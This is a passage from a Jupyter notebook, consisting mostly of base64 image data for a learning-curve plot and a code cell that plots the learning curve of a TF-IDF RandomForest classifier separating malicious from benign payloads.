3Rhg0Bph1FkQaOPsbEVEoq1DhxkdYi5TOTqcTQghMnz4dFy9exNKlS+H1ekMi3Kn4Mj0ZWHxw\nEZw+J8a0ehoR2gjIsoCVh+SJiMJCkc65jxs3Dn/99RcAwGw2Q5ZlvPDCCwEtjALD5XUhNSsNXx74\nHLER5dC3USIAwKQzcVpXIqIwUaRwP3fuHJ599lkAgMViwbPPPovTp08HtDAKDJsnA0sPfQG7146B\nzYbAqDVCFjKiDPz6GxFRuChSuKtUKhw6dEi5f+zYMR6SL4McXgcy3Bn4Yv/niDZEI7HRowAAo9bI\nrp2IKIwUKaFffPFFDBkyBJUqVQIApKWl4Z133gloYVTyMt02fHV4CWyeDIz927Mw6cyQZAlRJk4Q\nQ0QUTm7YuW/atAk1atTApk2b0LVrV1gsFnTp0gWtWrUqjfqohDi8Dti9mfh83wJY9ZF4tPHjAIAI\nbQTUqiIdwCEiojLiur/V58+fj5kzZ8LtduP48eOYOXMmunfvDkmS8NZbb5VWjVQCMt02fH14GdLd\n6RjQdCAsegt8QuK0rkREYei6h+XXrFmDZcuWwWg04t1330XHjh3Rr18/CCHQtWvX0qqRbpHdY4fD\n58Bn+xbAorOgf5MnAAARGgO0Gl47QUQUbq7buatUKhiN/nHGf/vtN7Rr105ZTmWH3WPDyiNfIzXr\nCvo3GYBIfSQkWUIkJ4ghIgpL123bNBoNbDYbnE4nDhw4gHvvvRcAcPbsWV4tX0bY3Da4fFn4dO8n\nMGlNeLzJQACAXqPzDzlLRERh57oJPXz4cPTq1Qs+nw99+/ZFxYoVsX79enzwwQcYM2ZMadVIN0kI\nAYfXjtVHV+Cy6xKGNh+O6IgYyLKMaGNMsMsjIqIAueHY8hcvXkRaWhoaN24MAPjpp58QERERMhPH\ncGz5wtncNqRlpeLhVZ1g89jwnz4/IjYiFmqoUNFcOdjlERHRTSiRseUrVaqkfL8dANq3b39rVVGp\nEELA7rFj7bFV+Mt5EU80HYLYiFjIQobVwCvkiYjCGb/gHKZsHht8sgef7JkDg8aAQc2HAADUUMOs\nMwe5OiIiCiSGexgSQsDhceCbE2tx3nEOfRsmoryxAoQQsHDmNyKisMdwD0MZ7gzIkPDJ7jnQq/UY\n3PxJZZ1FbwliZUREVBoY7mFGFjKcPgfWn/gGKfYzSGjQFxVNlSCEgFnHYCciuh0w3MNMhjsdQgjM\n2z0LWrUOQ5oPAwAIAVh5SJ6I6LbAcA8jspDh9Drxn5Prccp2Er3q90YVS1UAgEln4siCRES3CYZ7\nGMlwpwOAv2tXaTE0bjgA+IeaNUQGszQiIipFDPcwkdO1bzz9PY5nHEP3ej1RzVIdgL9r57SuRES3\nD/7GDxPpWWlQqVSYu3sW1Co1hsaNAODv2qM4aA0R0W2F4R4GfJIPLp8Lm07/gCNph9G1TnfUjKwF\nAIjQRrBrJyK6zfC3fhjI8KRDrVJjzu6PoIIKw1qMBAD4hIQoPbt2IqLbDedtLeN8kg9Zviz87+xP\nOJh6AF3qdEOdqLoAgAi1HloNP2IiotsNO/cyLt2TBrVKjbm7PgYADIvzd+2SLMGqjwpmaUREFCRs\n68owr+RFluTGtnNbsPfKHnSq9RDqxzQAAOg1Ohi0hiBXSEREwRCwcJdlGZMmTcKhQ4eg1+sxZcoU\n1KpVS1m/evVqzJ8/H1arFQkJCejXrx9WrlyJVatWAQDcbjcOHDiALVu2IDKS39EuSIYnHRqoMXvX\nRwCA4S1GA/C/91ERPNdORHS7Cli4b9y4ER6PB8uWLUNycjLefPNNzJo1CwCQmpqK6dOnY+XKlYiM\njMSgQYPQtm1b9O7dG7179wYAvP766+jTpw+DvRAeyYMsyY0d53/D7kvJ6FjjATSKbQwA0Kg1MOqM\nQa6QiIiCJWDn3Hfu3Il27doBAFq1aoW9e/cq61JSUtCoUSNER0dDrVYjLi4Ou3btUtbv2bMHR48e\nRWJiYqDKK/Ns7nRoVZqrXXvL7K5dyJzWlYjoNhewcLfb7bBYrs5CptFo4PP5AAC1atXC0aNHcfny\nZbhcLmzduhVOp1PZds6cORgzZkygSivz3D433JIHOy78jj/+2oG/V++ApuWaAQDUUMOsMwe5QiIi\nCqaAHZa3WCxwOBzKfVmWodX6dxcVFYUJEyZg7NixiI6ORrNmzRATEwMAsNlsOHHiBNq0aROo0so8\nmycdGrUm37l2IQQsOnbtRES3u4B17vHx8fj5558BAMnJyWjYsKGyzufzYf/+/Vi8eDGmTZuG48eP\nIz4+HgCwfft2tG3bNlBllXlunxseyYs/Lu7A7xe24Z6q96FFhZbKequB4U5EdLsLWOfeqVMnbNmy\nBUlJSRBCYOrUqVi3bh2cTqdyLj0hIQEGgwGDBw9GbGwsAODEiROoXr16oMoq8zLcadCoNZi7239x\n4siW/tMXQgiYeDieiIgAqIQQIthF3IpLlzKDXUKpcXldSMtKxd4re/D4+kfQunIbfPLQZwAAWRao\nYqnCOduJiMJchQo3PkLLEerKkExPBtRqNebu9o9Gl9O1A/5pXRnsREQEcIS6MsPldcEnSziYth8/\np2zGHZXuwp2VWwPwDzUbaeJ4AERE5MfOvYywZXftc7LHkB+Rq2s3ao2c1pWIiBTs3MsAh9cBSUg4\nknYYm878gFYV/oa7K/u/KijJEiIjOEEMERFdxXavDMh02/wzv2Wfax/ecrRyfj1CG8FpXYmIKA+G\ne4hzeB2QIeNI2mFsOPU9mpeLw71V/cP6+oSESE7rSkRE12C4hzibOwNqlRrzds8G4D/XrnTtaj10\nGl0wyyMiohDEcA9hdo8dAHAi4xi+P7kejWOb4u/VOwDwn2u3smsnIqICMNxDlBACdo8NKpUK83bP\nhoDAyFxdu16jg0FrCHKVREQUihjuISrTkwkB4LTtFNaf+AYNYhqiQ42OAPyT8Fh0/F47EREVjOEe\ngoQQcHjtUKlU+GTPbMhCxogWo5XvsmvUGhh1xiBXSUREoYrhHoJsHhsAICXzDNYdW4N6UfXxQK2H\nAACykGHRc+Y3IiIqHMM9xAgh4PA4oFKpMH/PXEhCwrAWo5SuXQUVzJz9jYiIroPhHmJsHhtUKuC8\n/RzWHFuFWpG18VDtLgD8wW/RsWsnIqLrY7iHEP8V8v5z7Qv2zoNP9mJYi1HQqDXKNha9JYgVEhFR\nWcBwDyEZ7gxo1GpcdFzEyiNfo7qlBrrW6QbAH/wmnZnTuhIR0Q0x3EOELGQ4fQ4AwKf75sErezGs\nxUho1drs9QKRen79jYiIbozhHiIy3OlQq9S47LqEFYe/QlVzNXSr11NZb2bXTkRERcRwDwGykOH0\nOgEAC/cugFtyY2jccOjU/nHjJVlCpIFdOxERFQ3DPQSkZ6VBo9bgiusKvjq8BJVMldGzfm9lvVFr\nVL4KR0REdCNMjCCThQyXzwUAWLT/U2T5XBgaNxx6jR5AdtfOCWKIiKgYGO5BltO1p2elYcnBL1HB\nWAEJDfoq6w1aA7QabRArJCKisobhHkQ+yad07V8c+AwunxODmj8Jg8Y/25tPSIjSRwezRCIiKoMY\n7kGU4UmHRq2BzZ2BxQcWITaiHPo2TFTWR6j10Gl0QayQiIjKIoZ7kPgkH1xSFgDgywOLYPfaMajZ\nUBi1/tneJFmClefaiYjoJjDcgyTdkwatSoNMTya+OPAZYgwxeKRRkrJep9bCoDUEsUIiIiqrGO5B\n4JW8yJLcAIAlB79ApseGJ5oNgSl7tjdZltm1ExHRTWO4B0GG29+1O7x2LNq/EJH6KCQ17q+s16g1\nMOqMQayQiIjKMoZ7KfNIHrhlLwBg2aElyHCnY0DTgTDr/LO9yUKGRc9pXYmI6OYx3EuZzZ0OjUoN\np9eJz/YtgFVnxaNNBijrVVDBnH14noiI6GYw3EuR2+eGW/IAAJYfXoa0rFT0b/qEMtubEELp4ImI\niG4Ww70U2bK/157ly8LCffNh0prweJMn8mxj5SF5IiK6RQz3UuL2ueGVfACAlUe+xmXXJTzaZACi\nDP4R6IQQMHFaVyIiKgEM91KS4U6DWq2GW3JjwZ65MGpNeKLpIGW9LIRyeJ6IiOhWMNxLgcvrgk+W\nAACrj6zAX66/kNjoUcRExCrbmHRGdu1ERFQiGO6lwObJgFqthlfyYP7euYjQRGBgsyHKekmWlMPz\nREREt4rhHmBOrxOS8Hfta4+twQXHefRtmIhyxvLKNkatEWoVPwoiIioZTJQAs7kzoFap4ZW9+GTP\nbOjVegxqPlRZL8kSIjnULBERlSCGewA5vA7IkAEA64+vw1l7Cvo0fAQVTZWUbQxaA7QabbBKJCKi\nMMRwD6BMtw1qlRo+2Yd5u2dDp9ZhcPNhynqfkBCl57l2IiIqWQz3ALF77ErX/v3J9TideQq96vdG\nZXNlZZsItR46jS5YJRIRUZhiuAeI3ePv2iVZwtzds6BVaTEkbriyXpIlTutKREQBwXAPgEx3JkT2\n7Q2nvseJjOPoXr8XqlmqK9vo1FoYtIbgFEhERGGN4V7ChBCwezOhUqkgCxlzdn8MjUqDJ5uPULaR\nZZldOxERBQzDvYRlejKV2z+c3oBj6UfwcN0eqBFZU1muUWtg1BmDUR4REd0GGO4lSAgBh9cOlUoF\nIQTm7voYapUaT8bl6tqFDAtnfiMiogBiuJcgm8em3N585kccSjuIzrW7onZUHWW5GiqYdeZglEdE\nRLcJhnsJEULA4XEoXfuc3R9BBRWGtRiVZxuTzhLEKomI6HbAcC8hGe4M5Ezq9svZn7H/yj48WLsz\n6kXXV7YRArDykDwREQVYwMJdlmW89tprSExMxIABA3Dq1Kk861evXo3u3bujf//++Prrr5Xlc+bM\nQWJiInr37p1neSgTQsDpu9q1z971EQDk69rNejOndSUiooAL2KDmGzduhMfjwbJly5CcnIw333wT\ns2bNAgCkpqZi+vTpWLlyJSIjIzFo0CC0bdsWZ8+exZ9//oklS5bA5XJhwYIFgSqvRGW405VZ3bad\n/xV7Lu/CP2p2QsOYRso2shCI1EcGq0QiIrqNBCzcd+7ciXbt2gEAWrVqhb179yrrUlJS0KhRI0RH\n+8dVj4uLw65du3Dw4EE0bNgQY8aMgd1uxwsvvBCo8kqMLGQ4vA5o1Jrsrn0mAGB4i9F5tjPpjOza\niYioVAQs3O12OyyWqxePaTQa+Hw+aLVa1KpVC0ePHsXly5dhNpuxdetW1K5dG2lpaTh37hxmz56N\nlJQUjBo1Cv/5z39COhQz3OnQqDUAgO0XfsOff/2B9tXvR5NyTZVtJFlClIkTxBARUekIWLhbLBY4\nHA7lvizL0Gr9u4uKisKECRMwduxYREdHo1mzZoiJiUF0dDTq1q0LvV6PunXrwmAwIDU1FeXKlQtU\nmbdEFjKcXqcS7nN2+8+1j2iZt2s3ao3KYXsiIqJAC1jixMfH4+effwYAJCcno2HDhso6n8+H/fv3\nY/HixZg2bRqOHz+O+Ph43HHHHfjf//4HIQQuXrwIl8ulHLoPRelZaUqw77y4A9sv/I57q7VD8/It\nlG0kWUIkh5olIqJSFLDOvVOnTtiyZQuSkpIghMDUqVOxbt06OJ1OJCYmAgASEhJgMBgwePBgxMbG\n4v7778f27dvRt29fCCHw2muvQaPRBKrEW+KTfHD5XEq4z931MQBgZIsxebYzaA3QagL2NhMREeWj\nEkKIG28Wui5dyrzxRgFwxXUZXtkLANj1158Y8F0S2lS5B3Mf/FTZxickVDJW4pztRERUYipUuPF4\nKTwRfBN8kg9Zvizl/pzd/q59RMu8XXuEWs9gJyKiUsdwvwkZnqtXyO+7vAe/nP0Zd1ZqjTsq3als\nI8kSp3UlIqKgYLgXk1fywiUV1LXnvUJep9bCoDWUam1EREQAw73YMjzp0Kr8XfuBK/ux+cyP+FvF\neLSu3EbZRhYyu3YiIgoahnsxeCUvsiS3cn/ubv9wuiNajMkz0I4aahh1xlKvj4iICGC4F0uGO03p\n2g+nHcIPp/+LuPIt0bbqvco2spBhNXAMeSIiCh6GexG5fW64s7/6BgCf7J4NwH+uPW/XroJZZy71\n+oiIiHIw3IvI5kmHJnsI2ePpx/D9ye/QJLYZ2lVrr2wjhIBJZynsKYiIiEoFw70I3D43PNLVrn3e\nnlkQEBh5TdcuBGDV33hwASIiokBiuBeBLdf32k/ZTuK7E9+iUUxjdKjxjzzbmfXmkJ7BjoiIbg8M\n9xtweV3wSj7l/ie750AWMoa1GJUnyGUhI1LPC+mIiCj4GO43kOnJgFrtf5tSMs/gm+NrUC+qPh6o\n9WCe7YxaI7t2IiIKCQz363B5XfDJknL/kz1zIAkJw1uOzjM/uyRLiDKE7tS0RER0e2G4X4ctV9d+\nzn4Wa4+uQu3IOniwVuc820VoI/KEPRERUTAxkQrh8Dogiatd+/w9c+ETPgxvMUq5uA4AfLIPUXp2\n7UREFDoY7oXIdNuUbvyC4wJWH12BGtaa6Fzn4TzbRWgjoNVog1EiERFRgRjuBXB4HZAhK/cX7v0E\nXtmLYXEjoVVfDXJJyOzaiYgo5DDcC2BzZyhd+yXnX1h+eBmqWqrh4Xo98mynV2uh0+iCUSIREVGh\nGO7XsHvsEBDK/YX75sMje/Bk3Ejo1FeDXJZlRLJrJyKiEMRwv4ZH8ihd+xXXFXx9aCkqm6ugZ71e\nebbTqjUwaA3BKJGIiOi6GO7X8fn+BciSsjCk+TDoNHpluSxkWPVRQayMiIiocAz3QqRlpWLpwcWo\naKyIhAZ986xTQw2jzhikyoiIiK6P3+EqxKL9n8Hlc+Kf8c/CoLl6+N0/hjy7diIKDsOq5TB9+B40\nhw9CatgYzmfGwZ3Q98YPLMSMGR/g0KEDSE29gqysLFStWg3R0TGYMuWtGz72yJFD+OWXnzF48LAC\n12/b9isuXryAnj1733R9dHNUQghx481C16VLmSX6fKmuVFxyXUTnFR0RoTHiuz4/IEIbcXUDIVDZ\nUrVE90lEVBSGVcsROWJIvuW2OQtuKeABYP36dTh16iRGjRp7S89DgVehwo2nFmfnXoAvDyyCw+vA\nyJZP5Ql2IQTMOksQKyOicGae9AoM61YXul594XyBy61PjYB5yqQC17m794Jj0pRi1/LHHzswa9YM\n6HQ69OiRAIPBgJUrv4bP54NKpcLUqe/i+PGjWLNmBV5//Q0kJSUgLq4lTp8+hdjYWEyZ8ja+/349\nTp06iV69+mDSpJdRsWIlnD2bgqZNm+G55yYgPT0dr7/+MrxeL2rUqIU//tiOZcuuvn63243XXhsP\nh8OBrKwsDB8+Gq1bt8E336zGqlUrIMsS7ruvPYYOHYH//vc7fPXVEuh0OtSoURMvvPAy/vvf7/Dt\nt2shyzKGDh0Bm82GZcu+hFqtRosWrcL6DxmG+zUyPTZ8uf8zxBhi0K9hUp51QgBW/Y3/YiIiCgiv\nt3jLb5HH48G8eZ8BAD7/fAHeeWcaIiIi8Pbb/8bvv29F+fIVlG3PnTuLadNmoVKlyhg1aggOHNif\n57nOnDmNDz6YCYMhAo880hNXrlzGl19+hnbtOqB3737Yvn0btm/flucxZ8+mICMjA++9Nx1paWk4\nc+YU0tJS8cUXn+Gzz5ZArzdg9uyZuHDhPObPn4NPP/0SJpMZ06e/hzVrVsBoNMFqteLNN9+HzZaB\n0aOfxCefLEJERAQmT34V27dvw113tQnIexdsDPdsq44sx4c738PB1P0QEOhS+2GYdKY825h0Jk7r\nSkQB45g05bpddkz7ttAe2JdvudS0OdI2/1ri9dSsWevqvmNiMWXKRJhMJpw6dRLNm7fIs21UVDQq\nVaoMAKhYsRI8Hnee9dWqVYfJZAYAlCtXHh6PBydPnkSXLt0AAC1a/C3f/uvWrYeePXtj0qSX4fP5\n0LdvEs6ePYs6derBYPAfVR01aiwOHNiHOnXqKs/fsmU8tm/fhqZNmyuvISXlDNLT0/Dcc/8EADid\nTpw9m4K77rrltykk8Wp5+IN9xIYhOJC6TxnA5ruT3+K7E98q28hCRpSBF9IRUfA4nxlX8PKn/xWQ\n/anV/mbGbrdj/vw5eP31qXjxxVdgMBhw7eVaN2p8Clpft2497N27BwCwb9+efOuPHTsKp9OBd96Z\nhpdffh0ffvgOqlWrjtOnT8Lj8QAAXnnlBcTExOLkyRNwuVwAgOTkP1CjRs3s/fpjrkqVaqhYsRI+\n/PBjzJw5F337JqJZs7jivB1lCjt3AB/ufK/A5fP3zEGX7IlijFoju3YiCip3Ql/YAJimvX/1avmn\n/3XLF9PdiNlsRlxcS4wcORgajRZWqxWXL19ClSq3dnHx448PwuTJr+HHHzegfPkK0GrzRlL16jXw\n6adz8eOPG5Xz5jExMXjssYF46qnhUKlUuPfedqhcuQqGDBmBf/5zBFQqNapXr4GRI5/CDz/8V3mu\nmJgYJCY+hqeeGg5JklClSlV07NjpluoPZbxaHkCVWTF5pnfNoVVp8ccT+yDJEqpYqnLOdiKiErR1\n6y+Ijo5BkybNsH37b1i06FNMnz472GWFPF4tX0QNYxrjQGr+81h1o+sB8E/rymAnIipZVapUwxtv\n/B80Gg1kWcYzzzwX7JLCBjt3XD3nfq23/v4+OtXujMrGypyznYiIQgI79yLKGV522h/v43DqQdSN\nroehcSPQpc7D0Kq1DHYiIipT2LlfI9WVCo/s/wqHJEuoYKoIfa5JY4iIiIKpKJ07TyRfh16jY7AT\nEeOMom8AABNLSURBVFGZw3AvhCxzWlciIiqbGO6F0Ko1eSeMISIKAauOLEf7pW1RZVYM2i9ti1VH\nlt/ycx4/fgzPP/80xo4dgSeffALz58/JN0hNMPXo8RAAYNq093DhwoU8606dOomnnhp+3cevWLEM\ngH+WujVrVgamyBDDK8UKIAsZVkN0sMsgIsrj2m/2HEjdp9zPuTC4uDIzMzFp0kv497/fQY0aNSFJ\nEl59dTzWrFmBXr0COzhOcT39dMEj9N3IZ58tQJ8+iWjT5p4Srih0MdwLoIYaZp052GUQ0W1m0q+v\nYN2xwmeFu+AoeFa4p34YgSnbJhW4rnu9Xph0T+Hj1f/yy0+Ij79LGa5Vo9HglVdeh06nyzczXLly\n5TB37iwYDAZERkZhwoTX4PP5MHHiBMiyDI/Hg+efn4CaNWsXOJtbDp/Ph8ce64uFC5fAaDRi8eJF\n0GjUuOuuuzFjxgeQZRnp6el47rnxiItrefV1PjUczz//Eszm/2/vzqOius8/jr8HRkhlESVoolFE\nXOISNGgkCMGo1AUFYhK0JQcQrUdRxCWiuKAQkErUYxVrihVPEuISjgvW1riTxgWX0oBRBA8GjSxB\ncWWV7fv7gx8TidSmaYlefF5/zdy5XL6fO8tz7p0738ecDz5YilKKdu2sDY+npBx5pHPd3r27uH//\nHqtXr6RPn76Gtrbbt3/G0aOHMDY2pn//V5kxI4SEhHgKCwu4c+cORUWFzJo1DycnZ8P2tdSlTor7\nIxTm0vlNCPEUqq5ruvvbv1r+UxQX36Rjx06NlrVu/UPTrIbOcEopJkzwZuPGzdjYtCcpaTuffJKA\no+MgLC3bEB4eSW5u/fzuTXVze5her2fo0OF8+eVRxowZx5EjB1i79o/84x9nCQ6ei719dw4dOsD+\n/fsaFfcGn36agLv7KLy8xnP06CH27Kn/auL69e8e6VwXEDCFXbuSmD8/jP379wH1c9YfO3aYP/1p\nC8bGxixZsoCTJ48D0KqVCWvWrOfcudNs3761UXHXUpc6Ke4/YmJsirmJ9GwXQvzyIoZEP/Yoe+gO\n5yZn0+xj3Y8vJ/68rnAdOrzI5ctZjZYVFORz40YR8ENnuLt379K6tRk2Nu0BGDDgVeLjNzJjRgh5\ned8RFvY+er2egIApTXZzy8hI589/3giAr68/np5vsXr1Smxtu9K5sy1t2ljx/PPt+fjjzZiamlJe\nXo6ZWdNnUK9f/w5Pz/EAvPJKf0Nx/3ed6xpcu3aVvn1fMcxl37//AHJzrwDQs2cvANq3f+GRznZa\n6lInF9T9iBR2IcTTas7Apr9znu3487vCubi4cubMKfLz84D6U+ZxcWv59tv6YtfQGc7Kyory8jKK\ni4uBHzqvff11GtbWz7N27R8JCJhCfPwfm+zm1r//ADZs2MSGDZsYMsT1/78GUGzbloiXV32hXrdu\nFVOmTGPp0kjs7bv/y4v6unbtxsWL5wEMfeMf17nux9uxte1KZuYFampqUEqRnv41nTvXF93H9QfT\nUpc6OXIXQgiNaDSb5p0serZ9mdmO8372xXQAZmbmLFkSSWxsNHV1dZSXl+Pi8gbjx7/L11+nGdbT\n6XQsWLCEJUtCMTLSYWFhyeLFEeh0sHz5Yvbs2UltbS2BgVOb7ObWlLFjvUlI+BOOjoMAGDlyDOHh\nC7GwsMTGpj337t1t8u8CAqbwwQdLOXLkkOErhX/VuQ6ga1c7PvggnEGDBgNgb9+d4cPdCQqaglIK\nB4f+uLm9SU7O5cfuKy11qZMZ6oQQQggNkRnqhBBCiGeQFHchhBCihZHiLoQQQrQwUtyFEEKIFkaK\nuxBCCNHCNNtP4erq6oiIiCA7OxsTExOio6OxtbU1PJ6cnExCQgIWFhaMHz8eHx8fAMaPH4+5ef1v\nzV966SV+//vfN9cQhRBCiBap2Yr7kSNHqKqq4vPPPyc9PZ2VK1fy0UcfAXD79m3Wr1/P7t27sbS0\nZNKkSTg7O2NjY4NSisTExOYalhBCCNHiNdtp+bS0NN544w0ABgwYwIULFwyP5eXl0atXL6ysrDAy\nMuKVV14hIyODrKwsKioqmDx5Mv7+/qSnpzfX8IQQQogWq9mO3EtLSw2n16G+01BNTQ16vR5bW1ty\ncnIoLi7GzMyM1NRUunbtynPPPceUKVPw8fHh6tWrTJ06lQMHDhjm/xVCCCHEv9dsVdPc3JyysjLD\n/bq6OkORbtOmDYsWLWLWrFlYWVnRt29f2rZti52dHba2tuh0Ouzs7LCysuLmzZu8+OKLzTVMIYQQ\nosVptuLu6OhISkoKHh4epKen07NnT8NjNTU1ZGZmsm3bNqqrqwkMDGTu3Lns3LmTy5cvExERQVFR\nEaWlpdjY2Dz2//yUafiEEEKIZ0mzzS3fcLX85cuXUUoRExNDZmYm5eXlTJw4kQ0bNnDkyBFMTU0J\nDAxk9OjRVFVVsWjRIgoKCtDpdMyfPx9HR8fmGJ4QQgjRYmm+cYwQQgghGpNJbIQQQogWRoq7EEII\n0cJIcRdCCCFaGCnuQgghRAvzzM4Ok5GRwerVq0lMTOTatWuEhYWh0+no0aMHy5cvx8jIiKSkJHbs\n2IFerycoKIhhw4ZRWVlJaGgot27dwszMjNjYWNq1a0d6ejorVqzA2NgYV1dXgoODmz1DdXU1ixcv\nJj8/n6qqKoKCgujevbsmswDU1taydOlScnNz0el0REZGYmpqqtk8t27d4u2332bLli3o9XrN5oBH\nez5Mnz5ds3ni4+M5duwY1dXV/Pa3v2Xw4MGazLJ792727NkDwIMHD7h06RLbtm0jJiZGc1mqq6sJ\nCwsjPz8fIyMjoqKiNPueafjV1/Xr1zE3N2fZsmXodLpfPot6Bm3atEmNGzdO+fj4KKWUmjZtmjp9\n+rRSSqnw8HB16NAhdePGDTVu3Dj14MEDdf/+fcPtLVu2qPXr1yullPrrX/+qoqKilFJKeXl5qWvX\nrqm6ujr1u9/9Tl28eLHZc+zcuVNFR0crpZS6c+eOGjp0qGazKKXU4cOHVVhYmFJKqdOnT6vp06dr\nNk9VVZWaMWOGGjlypMrJydFsDqWUqqysVN7e3o2WaTXP6dOn1bRp01Rtba0qLS1V69ev12yWh0VE\nRKgdO3ZoNsvhw4dVSEiIUkqpEydOqODgYM1mSUxMVEuXLlVKKXXlyhU1efLkJ5LlmTwt36VLF+Li\n4gz3L168yODBgwFwc3Pj1KlTnD9/nldffRUTExMsLCzo0qULWVlZjebMd3NzIzU1ldLSUqqqqujS\npQs6nQ5XV1dOnTrV7DlGjx7N7NmzAVBKYWxsrNksAO7u7kRFRQFQUFCApaWlZvPExsbym9/8hvbt\n2wPafY0BTfZ80GqeEydO0LNnT2bOnMn06dN58803NZulwTfffENOTg4TJ07UbBY7Oztqa2upq6uj\ntLQUvV6v2Sw5OTm4ubkB0K1bN65cufJEsjyTxX3UqFGN5qtXSqHT6QAwMzOjpKSE0tJSLCx+mP3O\nzMyM0tLSRssfXvfhefQbljc3MzMzzM3NKS0tJSQkhDlz5mg2SwO9Xs/ChQuJiorC09NTk3l2795N\nu3btDG9Q0O5rDDD0fEhISCAyMpL58+drNs+dO3e4cOEC69at03yWBvHx8cycORPQ7uusdevW5Ofn\nM2bMGMLDw/Hz89Nslt69e5OSkoJSivT0dIqKip5IlmeyuP+YkdEPu6GsrAxLS8tH5sYvKyvDwsKi\n0fLHrWtpafmLjL2wsBB/f3+8vb3x9PTUdJYGsbGxHDx4kPDwcB48ePDIWJ72PLt27eLUqVP4+flx\n6dIlFi5cyO3btzWXo4GdnR1eXl6Nej7cunVLk3msrKxwdXXFxMSEbt26YWpq2uhDUktZAO7fv09u\nbi6vv/46oN3Pso8//hhXV1cOHjzI3r17CQsLo7q6WpNZ3nnnHczNzfH19eXw4cP07dv3iTwvUtyB\nPn36cObMGQC++uorBg0ahIODA2lpaTx48ICSkhKuXLlCz549cXR05O9//7th3YEDB2Jubk6rVq34\n7rvvUEpx4sQJBg0a1OzjLi4uZvLkyYSGhvLuu+9qOgtAcnIy8fHxAPzqV79Cp9PRr18/zeXZunUr\nn332GYmJifTu3ZvY2Fjc3Nw0l6PBzp07WblyJYCh54OLi4sm8wwcOJDjx4+jlKKoqIiKigqcnZ01\nmQXg3LlzODs7G+5r9f1vaWlpOFpt06YNNTU1ms3yzTff4OzszPbt2xk9ejSdO3d+Ilme2eln8/Ly\nmDdvHklJSeTm5hIeHk51dTXdunUjOjoaY2NjkpKS+Pzzz1FKMW3aNEaNGkVFRQULFy7k5s2btGrV\nijVr1mBjY0N6ejoxMTHU1tbi6urK3Llzmz1DdHQ0X3zxBd26dTMsW7JkCdHR0ZrLAlBeXs6iRYso\nLi6mpqaGqVOnYm9vr8nnpoGfnx8REREYGRlpNkdTPR/atm2r2TwffvghZ86cQSnF3LlzeemllzSb\nZfPmzej1eiZNmgSg2c+ysrIyFi9ezM2bN6mursbf359+/fppMsvt27eZN28eFRUVWFhYsGLFCsrL\ny3/xLM9scRdCCCFaKjktL4QQQrQwUtyFEEKIFkaKuxBCCNHCSHEXQgghWhgp7kIIIUQLI8VdiKdA\nZGQk3t7eeHh40K9fP7y9vfH29mbXrl0/eRvr1q3j6NGjj13H29v7vx3qUyEvL4/hw4c/6WEI8dSS\nn8IJ8RTJy8vD39+fY8eOPemhPNVkPwnxeM9sy1chtCIuLo709HQKCwt577336NGjB2vXrqWyspJ7\n9+4RGhrKmDFjCAsLY/DgwQwePJjg4GB69OjBpUuXsLa2Zt26dVhZWdGrVy+ys7OJi4ujqKiIa9eu\nkZ+fj4+PD0FBQVRXV7N8+XLS0tLo0KEDOp2OGTNm4OTk1GhMmzZt4osvvjBMqBEaGsqxY8eIjY1l\n3759fP/99/j5+ZGUlMT9+/eJioqivLyc27dvExgYiL+/P3FxcRQUFJCdnc2tW7eYM2cOp0+fJiMj\ng5dffpm1a9dy9uxZ4uLi0Ov1FBYW4uDgwIoVKxqNpbi4mGXLlvH999+j0+l4//33GTJkCKmpqaxa\ntQqon/VszZo1tGvX7hd73oR4kqS4C6EBVVVV7N+/H4CQkBCio6Oxt7cnNTWVmJgYxowZ02j9rKws\nYmJi6NOnD7NmzWLfvn34+fk1Wic7O5utW7dSUlKCu7s77733Hnv37qWiooIDBw5QUFCAp6fnI2P5\n6quvuHDhAjt37kSn0xEaGspf/vIXvL29OXToEB999BFnz55l4cKFvPDCCyQkJDBjxgycnZ25fv06\nXl5e+Pv7A3D58mWSkpL45z//SUBAAPv27aNr1654eHiQnZ0NwPnz50lOTsbOzo7Zs2ezdetWfv3r\nXxvGs2LFCt555x1GjBjBjRs38PX1JTk5mY0bNxIREYGDgwOffvopmZmZuLq6/k+fFyGeVlLchdAA\nBwcHw+1Vq1aRkpLCgQMHyMjIaNRQooG1tTV9+vQBoEePHty7d++RdZycnDAxMcHa2horKytKSko4\nefIkEyZMQKfT0alTp0bzljdITU3l/PnzvP322wBUVlbSsWNHoH76Yw8PDxwdHRk7diwAYWFhHD9+\nnPj4eLKzsykvLzdsy8XFBb1eT8eOHbGxsaF79+4AdOjQwTDm1157zTDFsre3N0lJSY2K+6lTp/j2\n229Zv349ADU1NVy/fp0RI0YQHByMu7s7I0aMwMXF5afubiE0T4q7EBrw3HPPGW77+vri5OSEk5MT\nzs7OzJ8//5H1TU1NDbd1Oh1NXVrT1DrGxsbU1dU9diy1tbUEBAQQGBgI1HcmMzY2BupPkRsbG5Ob\nm0tVVRUmJibMmTMHS0tLhg0bhoeHB3/7298M22rVqpXh9sNtmB/WsG3AMMaH1dXV8cknn2BlZQXU\nN7d5/vnn6d27N8OGDSMlJYVVq1Zx/vx5goKCHptNiJZCrpYXQkPu3r3L1atXmT17NkOHDuXkyZPU\n1tb+z7Y/ZMgQ9u/fb+iadvbsWUMf6gavv/46e/fupaysjJqaGmbOnMnBgwepra1l0aJFLFmyhNde\ne40//OEPAJw8eZKQkBDc3d05d+4cwH805rS0NIqKiqirqyM5ORk3N7dHxrNt2zYAcnJy8PLyoqKi\nAh8fH8rKypg0aRKTJk0iMzPzv9k1QmiKHLkLoSFWVlb4+PgwduxYzM3NGTBgAJWVlY1Odf83JkyY\nQFZWFp6entjY2NCxY8dGZw0Ahg8fTlZWFhMmTKC2tpY33niD8ePHs3nzZqytrRk5ciRDhgxh3Lhx\njBw5klmzZuHr64ulpSV2dnZ06tSJvLy8nzym9u3bs2DBAoqKinBxccHHx4fCwkLD40uXLmXZsmWG\n6wM+/PBDzM3NmTdvHmFhYej1ekxNTYmMjPyf7CMhtEB+CieEMPjyyy9RSjFs2DBKSkp466232LVr\nl+GU9y/tzJkzbNiwgcTExCfy/4XQKjlyF0IY2Nvbs2DBAsMp9ZCQkCdW2IUQP58cuQshhBAtjFxQ\nJ4QQQrQwUtyFEEKIFkaKuxBCCNHCSHEXQgghWhgp7kIIIUQLI8VdCCGEaGH+DzHJrN8ydAIhAAAA\nAElFTkSuQmCC\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7f155e4db8d0>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "#plot learning curve for tfidf 1grams RandomForest\n",
    "X = payloads['payload']\n",
    "Y = payloads['is_malicious']\n",
    "plot_learning_curve(classifier_results.iloc[0],X,Y)\n",
    "\n",
